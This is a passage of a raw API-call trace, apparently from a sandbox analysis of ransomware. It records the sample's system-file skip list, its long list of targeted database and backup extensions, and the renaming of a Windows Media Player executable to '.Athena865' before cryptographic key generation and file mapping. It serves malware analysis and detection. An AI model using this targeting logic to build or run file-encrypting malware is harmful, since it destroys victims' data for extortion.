lpString2="windows") returned 1 [0040.633] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="bootmgr") returned 1 [0040.633] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="temp") returned 1 [0040.633] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="pagefile.sys") returned 1 [0040.633] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="boot") returned 1 [0040.633] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="ids.txt") returned 1 [0040.633] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="ntuser.dat") returned 1 [0040.633] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="perflogs") returned 1 [0040.633] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="MSBuild") returned 1 [0040.634] lstrlenW (lpString="wmlaunch.exe") returned 12 [0040.634] lstrcpyW (in: lpString1=0x241e894, lpString2="wmlaunch.exe" | out: lpString1="wmlaunch.exe") returned="wmlaunch.exe" [0040.634] lstrlenW (lpString="wmlaunch.exe") returned 12 [0040.634] lstrlenW (lpString="Athena865") returned 9 [0040.634] lstrcmpiW (lpString1="aunch.exe", lpString2="Athena865") returned 1 [0040.634] lstrlenW (lpString=".dll") returned 4 [0040.634] lstrcmpiW (lpString1="wmlaunch.exe", lpString2=".dll") returned 1 [0040.634] lstrlenW (lpString=".lnk") returned 4 [0040.634] lstrcmpiW (lpString1="wmlaunch.exe", lpString2=".lnk") returned 1 [0040.634] lstrlenW (lpString=".ini") returned 4 [0040.634] lstrcmpiW (lpString1="wmlaunch.exe", lpString2=".ini") returned 1 [0040.634] lstrlenW (lpString=".sys") returned 4 [0040.634] lstrcmpiW (lpString1="wmlaunch.exe", lpString2=".sys") returned 1 [0040.634] lstrlenW (lpString="wmlaunch.exe") returned 12 [0040.634] lstrlenW (lpString="bak") returned 3 [0040.634] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0040.634] lstrlenW (lpString="ba_") returned 3 [0040.634] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0040.634] lstrlenW (lpString="dbb") returned 3 [0040.634] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0040.634] lstrlenW (lpString="vmdk") returned 4 [0040.634] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0040.634] lstrlenW (lpString="rar") returned 3 [0040.634] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0040.634] lstrlenW (lpString="zip") returned 3 [0040.634] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0040.634] lstrlenW (lpString="tgz") returned 3 [0040.634] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0040.634] lstrlenW (lpString="vbox") returned 4 [0040.634] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0040.634] lstrlenW (lpString="vdi") returned 3 [0040.634] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0040.634] lstrlenW (lpString="vhd") returned 3 [0040.634] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0040.634] lstrlenW (lpString="vhdx") returned 4 [0040.634] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0040.634] lstrlenW (lpString="avhd") returned 4 [0040.634] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0040.635] lstrlenW (lpString="db") returned 2 [0040.635] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0040.635] lstrlenW (lpString="db2") returned 3 [0040.635] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0040.635] lstrlenW (lpString="db3") returned 3 [0040.635] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0040.635] lstrlenW (lpString="dbf") returned 3 [0040.635] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0040.635] lstrlenW (lpString="mdf") returned 3 [0040.635] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0040.635] lstrlenW (lpString="mdb") returned 3 [0040.635] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0040.635] lstrlenW (lpString="sql") returned 3 [0040.635] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0040.635] lstrlenW (lpString="sqlite") returned 6 [0040.635] lstrcmpiW (lpString1="ch.exe", lpString2="sqlite") returned -1 [0040.635] lstrlenW (lpString="sqlite3") returned 7 [0040.635] lstrcmpiW (lpString1="nch.exe", lpString2="sqlite3") returned -1 [0040.635] lstrlenW (lpString="sqlitedb") returned 8 [0040.635] lstrcmpiW (lpString1="unch.exe", lpString2="sqlitedb") returned 1 [0040.635] lstrlenW (lpString="xml") returned 3 [0040.635] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0040.635] lstrlenW (lpString="$er") returned 3 [0040.635] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0040.635] lstrlenW (lpString="4dd") returned 3 [0040.635] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0040.635] lstrlenW (lpString="4dl") returned 3 [0040.635] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0040.635] lstrlenW (lpString="^^^") returned 3 [0040.635] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0040.635] lstrlenW (lpString="abs") returned 3 [0040.635] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0040.635] lstrlenW (lpString="abx") returned 3 [0040.635] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0040.635] lstrlenW (lpString="accdb") returned 5 [0040.635] lstrcmpiW (lpString1="h.exe", lpString2="accdb") returned 1 [0040.635] lstrlenW (lpString="accdc") returned 5 [0040.636] lstrcmpiW (lpString1="h.exe", lpString2="accdc") returned 1 [0040.636] lstrlenW (lpString="accde") returned 5 [0040.636] lstrcmpiW (lpString1="h.exe", lpString2="accde") returned 1 [0040.636] lstrlenW (lpString="accdr") returned 5 [0040.636] lstrcmpiW (lpString1="h.exe", lpString2="accdr") returned 1 [0040.636] lstrlenW (lpString="accdt") returned 5 [0040.636] lstrcmpiW (lpString1="h.exe", lpString2="accdt") returned 1 [0040.636] lstrlenW (lpString="accdw") returned 5 [0040.636] lstrcmpiW (lpString1="h.exe", lpString2="accdw") returned 1 [0040.636] lstrlenW (lpString="accft") returned 5 [0040.636] lstrcmpiW (lpString1="h.exe", lpString2="accft") returned 1 [0040.636] lstrlenW (lpString="adb") returned 3 [0040.636] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0040.636] lstrlenW (lpString="adb") returned 3 [0040.636] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0040.636] lstrlenW (lpString="ade") returned 3 [0040.636] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0040.636] lstrlenW (lpString="adf") returned 3 [0040.636] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0040.636] lstrlenW (lpString="adn") returned 3 [0040.636] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0040.636] lstrlenW (lpString="adp") returned 3 [0040.636] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0040.636] lstrlenW (lpString="alf") returned 3 [0040.636] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0040.636] lstrlenW (lpString="ask") returned 3 [0040.636] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0040.636] lstrlenW (lpString="btr") returned 3 [0040.636] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0040.636] lstrlenW (lpString="cat") returned 3 [0040.636] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0040.636] lstrlenW (lpString="cdb") returned 3 [0040.636] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0040.636] lstrlenW (lpString="ckp") returned 3 [0040.636] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0040.636] lstrlenW (lpString="cma") returned 3 [0040.636] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0040.636] lstrlenW (lpString="cpd") returned 3 [0040.636] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0040.637] lstrlenW (lpString="dacpac") returned 6 [0040.637] lstrcmpiW (lpString1="ch.exe", lpString2="dacpac") returned -1 [0040.637] lstrlenW (lpString="dad") returned 3 [0040.637] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0040.637] lstrlenW (lpString="dadiagrams") returned 10 [0040.637] lstrcmpiW (lpString1="launch.exe", lpString2="dadiagrams") returned 1 [0040.637] lstrlenW (lpString="daschema") returned 8 [0040.637] lstrcmpiW (lpString1="unch.exe", lpString2="daschema") returned 1 [0040.637] lstrlenW (lpString="db-journal") returned 10 [0040.637] lstrcmpiW (lpString1="launch.exe", lpString2="db-journal") returned 1 [0040.637] lstrlenW (lpString="db-shm") returned 6 [0040.637] lstrcmpiW (lpString1="ch.exe", lpString2="db-shm") returned -1 [0040.637] lstrlenW (lpString="db-wal") returned 6 [0040.637] lstrcmpiW (lpString1="ch.exe", lpString2="db-wal") returned -1 [0040.637] lstrlenW (lpString="dbc") returned 3 [0040.637] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0040.637] lstrlenW (lpString="dbs") returned 3 [0040.637] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0040.637] lstrlenW (lpString="dbt") returned 3 [0040.637] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0040.637] lstrlenW (lpString="dbv") returned 3 [0040.637] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0040.637] lstrlenW (lpString="dbx") returned 3 [0040.637] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0040.637] lstrlenW (lpString="dcb") returned 3 [0040.637] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0040.637] lstrlenW (lpString="dct") returned 3 [0040.637] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0040.637] lstrlenW (lpString="dcx") returned 3 [0040.637] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0040.637] lstrlenW (lpString="ddl") returned 3 [0040.637] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0040.637] lstrlenW (lpString="dlis") returned 4 [0040.637] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0040.637] lstrlenW (lpString="dp1") returned 3 [0040.637] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0040.637] lstrlenW (lpString="dqy") returned 3 [0040.637] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0040.637] lstrlenW (lpString="dsk") returned 3 [0040.638] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0040.638] lstrlenW (lpString="dsn") returned 3 [0040.638] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0040.638] lstrlenW (lpString="dtsx") returned 4 [0040.638] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0040.638] lstrlenW (lpString="dxl") returned 3 [0040.638] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0040.638] lstrlenW (lpString="eco") returned 3 [0040.638] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0040.638] lstrlenW (lpString="ecx") returned 3 [0040.638] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0040.638] lstrlenW (lpString="edb") returned 3 [0040.638] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0040.638] lstrlenW (lpString="epim") returned 4 [0040.638] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0040.638] lstrlenW (lpString="fcd") returned 3 [0040.638] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0040.638] lstrlenW (lpString="fdb") returned 3 [0040.638] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0040.638] lstrlenW (lpString="fic") returned 3 [0040.638] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0040.638] lstrlenW (lpString="flexolibrary") returned 12 [0040.638] lstrlenW (lpString="fm5") returned 3 [0040.638] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0040.638] lstrlenW (lpString="fmp") returned 3 [0040.638] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0040.638] lstrlenW (lpString="fmp12") returned 5 [0040.638] lstrcmpiW (lpString1="h.exe", lpString2="fmp12") returned 1 [0040.638] lstrlenW (lpString="fmpsl") returned 5 [0040.638] lstrcmpiW (lpString1="h.exe", lpString2="fmpsl") returned 1 [0040.638] lstrlenW (lpString="fol") returned 3 [0040.638] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0040.638] lstrlenW (lpString="fp3") returned 3 [0040.638] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0040.638] lstrlenW (lpString="fp4") returned 3 [0040.638] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0040.638] lstrlenW (lpString="fp5") returned 3 [0040.639] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0040.639] lstrlenW (lpString="fp7") returned 3 [0040.639] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0040.639] lstrlenW (lpString="fpt") returned 3 [0040.639] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0040.639] lstrlenW (lpString="frm") returned 3 [0040.639] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0040.639] lstrlenW (lpString="gdb") returned 3 [0040.639] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0040.639] lstrlenW (lpString="gdb") returned 3 [0040.639] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0040.639] lstrlenW (lpString="grdb") returned 4 [0040.639] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0040.639] lstrlenW (lpString="gwi") returned 3 [0040.639] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0040.639] lstrlenW (lpString="hdb") returned 3 [0040.639] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0040.639] lstrlenW (lpString="his") returned 3 [0040.639] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0040.639] lstrlenW (lpString="ib") returned 2 [0040.639] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0040.639] lstrlenW (lpString="idb") returned 3 [0040.639] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0040.639] lstrlenW (lpString="ihx") returned 3 [0040.639] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0040.639] lstrlenW (lpString="itdb") returned 4 [0040.639] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0040.639] lstrlenW (lpString="itw") returned 3 [0040.639] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0040.639] lstrlenW (lpString="jet") returned 3 [0040.639] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0040.639] lstrlenW (lpString="jtx") returned 3 [0040.639] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0040.639] lstrlenW (lpString="kdb") returned 3 [0040.639] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0040.639] lstrlenW (lpString="kexi") returned 4 [0040.639] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0040.640] lstrlenW (lpString="kexic") returned 5 [0040.640] lstrcmpiW (lpString1="h.exe", lpString2="kexic") returned -1 [0040.640] lstrlenW (lpString="kexis") returned 5 [0040.640] lstrcmpiW (lpString1="h.exe", lpString2="kexis") returned -1 [0040.640] lstrlenW (lpString="lgc") returned 3 [0040.640] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0040.640] lstrlenW (lpString="lwx") returned 3 [0040.640] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0040.640] lstrlenW (lpString="maf") returned 3 [0040.640] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0040.640] lstrlenW (lpString="maq") returned 3 [0040.640] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0040.640] lstrlenW (lpString="mar") returned 3 [0040.640] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0040.640] lstrlenW (lpString="marshal") returned 7 [0040.640] lstrcmpiW (lpString1="nch.exe", lpString2="marshal") returned 1 [0040.640] lstrlenW (lpString="mas") returned 3 [0040.640] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0040.640] lstrlenW (lpString="mav") returned 3 [0040.640] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0040.640] lstrlenW (lpString="maw") returned 3 [0040.640] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0040.640] lstrlenW (lpString="mdbhtml") returned 7 [0040.640] lstrcmpiW (lpString1="nch.exe", lpString2="mdbhtml") returned 1 [0040.640] lstrlenW (lpString="mdn") returned 3 [0040.640] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0040.640] lstrlenW (lpString="mdt") returned 3 [0040.640] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0040.640] lstrlenW (lpString="mfd") returned 3 [0040.640] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0040.640] lstrlenW (lpString="mpd") returned 3 [0040.640] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0040.640] lstrlenW (lpString="mrg") returned 3 [0040.641] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0040.641] lstrlenW (lpString="mud") returned 3 [0040.641] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0040.641] lstrlenW (lpString="mwb") returned 3 [0040.641] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0040.641] lstrlenW (lpString="myd") returned 3 [0040.641] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0040.641] lstrlenW (lpString="ndf") returned 3 [0040.641] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0040.641] lstrlenW (lpString="nnt") returned 3 [0040.641] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0040.641] lstrlenW (lpString="nrmlib") returned 6 [0040.641] lstrcmpiW (lpString1="ch.exe", lpString2="nrmlib") returned -1 [0040.641] lstrlenW (lpString="ns2") returned 3 [0040.641] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0040.641] lstrlenW (lpString="ns3") returned 3 [0040.641] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0040.641] lstrlenW (lpString="ns4") returned 3 [0040.641] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0040.641] lstrlenW (lpString="nsf") returned 3 [0040.641] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0040.641] lstrlenW (lpString="nv") returned 2 [0040.641] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0040.641] lstrlenW (lpString="nv2") returned 3 [0040.641] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0040.641] lstrlenW (lpString="nwdb") returned 4 [0040.641] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0040.641] lstrlenW (lpString="nyf") returned 3 [0040.641] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0040.641] lstrlenW (lpString="odb") returned 3 [0040.641] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0040.641] lstrlenW (lpString="odb") returned 3 [0040.641] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0040.641] lstrlenW (lpString="oqy") returned 3 [0040.641] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0040.641] lstrlenW (lpString="ora") returned 3 [0040.641] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0040.641] lstrlenW (lpString="orx") returned 3 [0040.641] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0040.642] lstrlenW (lpString="owc") returned 3 [0040.642] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0040.642] lstrlenW (lpString="p96") returned 3 [0040.642] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0040.642] lstrlenW (lpString="p97") returned 3 [0040.642] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0040.642] lstrlenW (lpString="pan") returned 3 [0040.642] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0040.642] lstrlenW (lpString="pdb") returned 3 [0040.642] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0040.642] lstrlenW (lpString="pdm") returned 3 [0040.642] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0040.642] lstrlenW (lpString="pnz") returned 3 [0040.642] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0040.642] lstrlenW (lpString="qry") returned 3 [0040.642] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0040.642] lstrlenW (lpString="qvd") returned 3 [0040.642] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0040.642] lstrlenW (lpString="rbf") returned 3 [0040.642] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0040.642] lstrlenW (lpString="rctd") returned 4 [0040.642] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0040.642] lstrlenW (lpString="rod") returned 3 [0040.642] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0040.642] lstrlenW (lpString="rodx") returned 4 [0040.642] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0040.642] lstrlenW (lpString="rpd") returned 3 [0040.642] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0040.642] lstrlenW (lpString="rsd") returned 3 [0040.642] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0040.642] lstrlenW (lpString="sas7bdat") returned 8 [0040.642] lstrcmpiW (lpString1="unch.exe", lpString2="sas7bdat") returned 1 [0040.642] lstrlenW (lpString="sbf") returned 3 [0040.642] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0040.642] lstrlenW (lpString="scx") returned 3 [0040.642] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0040.642] lstrlenW (lpString="sdb") returned 3 [0040.642] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0040.642] lstrlenW (lpString="sdc") returned 3 [0040.643] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0040.643] lstrlenW (lpString="sdf") returned 3 [0040.643] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0040.643] lstrlenW (lpString="sis") returned 3 [0040.643] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0040.643] lstrlenW (lpString="spq") returned 3 [0040.643] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0040.643] lstrlenW (lpString="te") returned 2 [0040.643] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0040.643] lstrlenW (lpString="teacher") returned 7 [0040.643] lstrcmpiW (lpString1="nch.exe", lpString2="teacher") returned -1 [0040.643] lstrlenW (lpString="tmd") returned 3 [0040.643] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0040.643] lstrlenW (lpString="tps") returned 3 [0040.643] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0040.643] lstrlenW (lpString="trc") returned 3 [0040.643] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0040.643] lstrlenW (lpString="trc") returned 3 [0040.643] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0040.643] lstrlenW (lpString="trm") returned 3 [0040.643] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0040.643] lstrlenW (lpString="udb") returned 3 [0040.643] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0040.643] lstrlenW (lpString="udl") returned 3 [0040.643] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0040.643] lstrlenW (lpString="usr") returned 3 [0040.643] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0040.643] lstrlenW (lpString="v12") returned 3 [0040.643] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0040.643] lstrlenW (lpString="vis") returned 3 [0040.643] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0040.643] lstrlenW (lpString="vpd") returned 3 [0040.643] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0040.643] lstrlenW (lpString="vvv") returned 3 [0040.643] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0040.643] lstrlenW (lpString="wdb") returned 3 [0040.644] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0040.644] lstrlenW (lpString="wmdb") returned 4 [0040.644] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0040.644] lstrlenW (lpString="wrk") returned 3 [0040.644] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0040.644] lstrlenW (lpString="xdb") returned 3 [0040.644] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0040.644] lstrlenW (lpString="xld") returned 3 [0040.644] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0040.644] lstrlenW (lpString="xmlff") returned 5 [0040.644] lstrcmpiW (lpString1="h.exe", lpString2="xmlff") returned -1 [0040.644] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\wmlaunch.exe.Athena865") returned 60 [0040.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\wmlaunch.exe" (normalized: "c:\\program files\\windows media player\\wmlaunch.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\wmlaunch.exe.Athena865" (normalized: "c:\\program files\\windows media player\\wmlaunch.exe.athena865"), dwFlags=0x1) returned 1 [0040.645] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\wmlaunch.exe.Athena865" (normalized: "c:\\program files\\windows media player\\wmlaunch.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0040.645] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=263168) returned 1 [0040.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0040.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0040.645] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0040.645] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0040.646] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0040.646] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.646] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40700, lpName=0x0) returned 0x17c [0040.648] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x40700) returned 0x1f0000 [0040.659] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0040.660] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0040.660] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.660] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0040.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0040.660] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0040.660] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0040.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.660] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0040.660] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0040.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0040.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0040.660] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0040.663] CloseHandle (hObject=0x17c) returned 1 [0040.663] CloseHandle (hObject=0x154) returned 1 [0040.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0040.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0040.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0040.668] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8f0b759, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8f0b759, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8f0b759, 